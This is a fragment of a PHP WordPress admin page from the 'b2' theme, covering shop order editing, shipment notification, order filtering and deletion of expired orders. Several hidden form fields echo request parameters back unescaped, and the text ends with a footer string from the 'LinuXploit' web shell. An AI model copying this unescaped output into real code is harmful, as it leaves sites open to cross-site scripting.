                                b2_settings_error('updated',__('更新成功','b2'));
                            }
                        }

                        $kds = b2_express_types(); 

                        if($update && $_res){

                            if($state == 'c'){
    
                                Wecatmp::message_success([
                                    'type'=>'order_ship',
                                    "touser"=>$res['user_id'],
                                    "template_id"=>'',
                                    "url"=>get_permalink($res['post_id']),      
                                    "data"=>[
                                        "first"=> [
                                            "value"=>'您的订单已经发货。',
                                            "color"=>"#173177"
                                        ],
                                        "keyword1"=>[
                                            "value"=>$res['order_id'],
                                            "color"=>"#173177"
                                        ],
                                        "keyword2"=> [
                                            "value"=>current_time('mysql'),
                                            "color"=>"#173177"
                                        ],
                                        "keyword3"=> [
                                            "value"=>$kds[$kd],
                                            "color"=>"#173177"
                                        ],
                                        "keyword4"=> [
                                            "value"=>$number,
                                            "color"=>"#173177"
                                        ],
                                        "remark"=>[
                                            "value"=>'请注意查收货物!',
                                            "color"=>"#173177"
                                        ]
                                    ]
                                ]);
                            }
                            
                        }

                        if(empty($res)) {
                            echo __('没有找到此订单','b2').'</div>
                            </div>';
                            return;
                        }

                        $kuaidi = maybe_unserialize($res['tracking_number']);
                    ?>
                    <div id="profile-page">
                        <form id="order-edit" method="post">
                            <?php 
                                // global $wp;
                                // $url = home_url( $wp->request );
                                // $url = preg_replace('#page/([^/]*)$#','', $url);
                            ?>
                            <a href="<?php echo remove_query_arg(array('id','kuaidi','express_number','order_address','order_content','action','order_update','submit-update-order'),$ref_url); ?>">返回到订单列表</a>
                            <table class="form-table" role="presentation">
                                <tbody>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('订单ID:'); ?></label></th>
                                        <td><?php echo $id; ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('订单号:'); ?></label></th>
                                        <td><?php echo $res['order_id']; ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('订单日期:'); ?></label></th>
                                        <td><?php echo $res['order_date']; ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('订单类型:'); ?></label></th>
                                        <td><?php echo $order_code->get_shop_order('order_type',$res['order_type']); ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('商品类型:'); ?></label></th>
                                        <td><?php echo $order_code->get_shop_order('order_commodity',$res['order_commodity']); ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('支付渠道:'); ?></label></th>
                                        <td><?php echo $order_code->get_shop_order('pay_type',$res['pay_type']); ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('商品名称:'); ?></label></th>
                                        <td>
                                            <?php 
                                                if($res['post_id'] == -1){
                                                    echo __('合并付款临时订单','b2');
                                                }else{
                                                    $title = \B2\Modules\Common\Orders::get_order_name($res['order_type'],$res['post_id']);
                                                    echo '<a href="'.$title['title']['link'].'" target="_blank">'.$title['title']['name'].'</a>';
                                                }
                                            ?>
                                        </td>
                                    </tr>
                                    <?php 
                                            $type = get_post_meta($res['post_id'],'zrz_shop_type',true);

                                            $shop_multi = get_post_meta($res['post_id'],'zrz_shop_multi',true);
                        
                                            if($type == 'normal' && $shop_multi == 1){
                        
                                                $json = json_decode($res['order_value'],true );
                        
                                                if($json){
                        
                                                    $html = '';
                        
                                                    foreach ($json['desc'] as $key => $value) {
                                                        $html .= '<p><span>'.$value['name'].'</span>:<span>'.$value['value'].'</span></p>';
                                                    }
                        
                                                    ?>
                                                    <tr>
                                                        <th><?php echo __('商品规格:'); ?></th>
                                                        <td><?php echo $html; ?></td>
                                                    </tr>
                                                    <?php
                                                }
                                            }
                                        ?>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('产品单价:'); ?></label></th>
                                        <td><?php echo ($res['money_type'] == 1 ? __('积分:','b2') : B2_MONEY_SYMBOL).$res['order_price']; ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('订单总价:'); ?></label></th>
                                        <td><?php echo ($res['money_type'] == 1 ? __('积分:','b2') : B2_MONEY_SYMBOL).$res['order_total']; ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('订单数量:'); ?></label></th>
                                        <td><?php echo $res['order_count']; ?></td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('订单状态:'); ?></label></th>
                                        <td>
                                            <?php
                                                $arr = array(
                                                    'w'=>__('等待付款','b2'),
                                                    'f'=>__('已付款未发货','b2'),
                                                    'c'=>__('已发货','b2'),
                                                    's'=>__('已删除','b2'),
                                                    'q'=>__('已签收','b2'),
                                                    't'=>__('已退款','b2'),
                                                );
                                            ?>
                                            <select name="edit_state" id="">
                                                <?php 
                                                    foreach($arr as $k => $v){
                                                        echo '<option value="'.$k.'" '.($res['order_state'] === $k ? 'selected' : false).'>'.$v.'</option>';
                                                    }
                                                ?>
                                            </select>
                                        </td>
                                    </tr>
                                    <tr>
                                        <th scope="row"><label for="blogname"><?php echo __('快递公司:'); ?></label></th>
                                        <td>
                                            <?php 
                                                $kd_type = isset($kuaidi['type']) ? $kuaidi['type'] : 'shunfeng';
                                            ?>
                                            <select name="kuaidi" id="">
                                                <option value="">无</option>
                                                <?php 
                                                    foreach($kds as $k => $v){
                                                        echo '<option value="'.$k.'" '.($kd_type === $k ? 'selected' : false).'>'.$v.'</option>';
                                                    }
                                                ?>
                                            </select>
                                        </td>
                                    </tr>
                                    <tr class="user-email-wrap">
                                        <th scope="row"><label for="blogname"><?php echo __('运单号:'); ?></label></th>
                                        <td><input type="text" name="express_number" class="regular-text ltr" value="<?php echo isset($kuaidi['number']) ? $kuaidi['number'] : ''; ?>"></td>
                                    </tr>
                                    <tr class="user-description-wrap">
                                        <th scope="row"><label for="blogname"><?php echo __('订单地址:'); ?></label></th>
                                        <td><textarea rows="5" cols="30" name="order_address"><?php echo $res['order_address']; ?></textarea></td>
                                    </tr>
                                    <tr class="user-description-wrap">
                                        <th scope="row"><label for="blogname"><?php echo __('买家留言:'); ?></label></th>
                                        <td><textarea rows="5" cols="30" name="order_content"><?php echo $res['order_content']; ?></textarea></td>
                                    </tr>
                                </tbody>
                            </table>
                            <input type="hidden" name="page" value="b2_orders_list">
                            <input type="hidden" name="action" value="edit">
                            <input type="hidden" name="id" value="<?php echo $id; ?>">
                            <input type="hidden" name="order_update" value="1">
                            <input type="hidden" name="order_type" value="<?php echo isset($_REQUEST['order_type']) ? $_REQUEST['order_type'] : 0;?>">
                            <input type="hidden" name="order_state" value="<?php echo isset($_REQUEST['order_state']) ? $_REQUEST['order_state'] : 0;?>">
                            <input type="hidden" name="paged" value="<?php echo isset($_REQUEST['paged']) ? (int)$_REQUEST['paged'] : 0;?>">
                            <p class="submit"><input type="submit" name="submit-update-order" id="submit-cmb" class="button button-primary" value="保存"></p>
                        </form>
                    </div>
                <?php }else{ ?>
                    <div class="order-box" id="fliter-box">
                        <p class="red">只统计货币订单,不统计积分订单。不统计余额充值订单,以避免重复统计。</p>
                        <div class="box">
                            <div class="order-title">订单筛选</div>
                            <div class="fliter-box">
                                <div><span>开始时间</span><vuejs-datepicker :language="zh" v-model="start"></vuejs-datepicker></div>
                                <div><span>结束时间</span><vuejs-datepicker :language="zh" v-model="end"></vuejs-datepicker></div>
                                <div><button class="button action" @click="fliter">筛选</button></div>
                                <div><button class="button action" @click="canel">取消</button></div>
                            </div>
                        </div>
                        <?php if(isset($_REQUEST["start"]) && isset($_REQUEST["end"]) && $_REQUEST["start"] && $_REQUEST["end"]){ ?>
                        <div class="box fliter-box-total">
                            <div class="order-title">筛选统计</div>
                            <div class="order-row">
                                <div class="order-in-row">
                                    <div class="row-item green">
                                        <span>收入</span>
                                        <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($fliter['total'] ?? 0); ?></span>
                                    </div>
                                </div>
                                <div class="order-in-row">
                                    <div class="row-item red">
                                        <span>退款</span>
                                        <span><?php echo '<b>'.B2_MONEY_SYMBOL.'</b>'.($fliter['refund'] ?? 0); ?></span>
                                    </div>
                                </div>
                                <div>
                                    <a class="button action" href="<?php echo add_query_arg('order_out','1',$ref_url); ?>">导出所选订单</a>
                                </div>
                            </div>
                            <a class="close-fliter" href="<?php echo remove_query_arg(array('start','end'),$ref_url) ?>">x关闭筛选</a>
                        </div>
                        <?php } ?>
                    </div>
                       
                    <div class="filter-row1">
                        <a href="<?php echo remove_query_arg(array('order_state','s'),$ref_url); ?>" class="<?php echo $status === 'total' ? 'current' : ''; ?>"><?php echo __('所有','b2'); ?><span class="count">(<?php echo $status_total['total']; ?>)</span></a>
                        <a href="<?php echo add_query_arg('order_state','q',$ref_url); ?>" class="<?php echo $status === 'q' ? 'current' : ''; ?>"><?php echo __('已签收','b2'); ?><span class="count">(<?php echo $status_total['q']; ?>)</span></a>
                        <a href="<?php echo add_query_arg('order_state','w',$ref_url); ?>" class="<?php echo $status === 'w' ? 'current' : ''; ?>"><?php echo __('等待付款','b2'); ?><span class="count">(<?php echo $status_total['w']; ?>)</span></a>
                        <a href="<?php echo add_query_arg('order_state','f',$ref_url); ?>" class="<?php echo $status === 'f' ? 'current' : ''; ?>"><?php echo __('已付款,未发货','b2'); ?><span class="count">(<?php echo $status_total['f']; ?>)</span></a>
                        <a href="<?php echo add_query_arg('order_state','c',$ref_url); ?>" class="<?php echo $status === 'c' ? 'current' : ''; ?>"><?php echo __('已发货','b2'); ?><span class="count">(<?php echo $status_total['c']; ?>)</span></a>
                        <a href="<?php echo add_query_arg('order_state','t',$ref_url); ?>" class="<?php echo $status === 't' ? 'current' : ''; ?>"><?php echo __('已退款','b2'); ?><span class="count">(<?php echo $status_total['t']; ?>)</span></a>
                    </div>
                    <ul class="subsubsub">
                        <li><a href="<?php echo remove_query_arg(array('order_type','s'),$ref_url); ?>" class="<?php echo $type_get === '' ? 'current' : ''; ?>"><?php echo __('所有','b2'); ?><span class="count">(<?php echo $status_total['total']; ?>)</span></a></li>
                        <?php
                            foreach ($type as $k => $v) {
                                if($k == 'c') $k = 'cj';
                                if($k == 'w') $k = 'wz';
                        ?>
                            <li>| <a href="<?php echo add_query_arg('order_type',$k,$ref_url); ?>" class="<?php echo $type_get === $k ? 'current' : ''; ?>"><?php echo $v; ?><span class="count">(<?php echo $status_total[$k]; ?>)</span></a></li>
                        <?php
                            }
                        ?>
                    </ul>
                    <div id="icon-users" class="icon32"><br/></div>  
                    <form id="coupon-filter" method="get">
                        <input type="hidden" name="order_state" value="<?php echo isset($_REQUEST['order_state']) ? $_REQUEST['order_state'] : ''; ?>">
                        <input type="hidden" name="order_type" value="<?php echo isset($_REQUEST['order_type']) ? $_REQUEST['order_type'] : ''; ?>">
                        <?php
                            $order_code->search_box( __('搜索订单','b2'), 'search_id' );
                        ?>
                        <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />

                        <?php $order_code->display() ?>
                    </form>
                <?php } ?>
            </div>
        </div>
        <?php
    }

    public function delete_expired_orders(){
        global $wpdb; 
        $table_name = $wpdb->prefix . 'zrz_order';

        $res = $wpdb->query($wpdb->prepare("DELETE FROM $table_name WHERE order_state = %s AND order_date < date_sub(now(), interval 1 day)", 'w'));

        return $res;
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit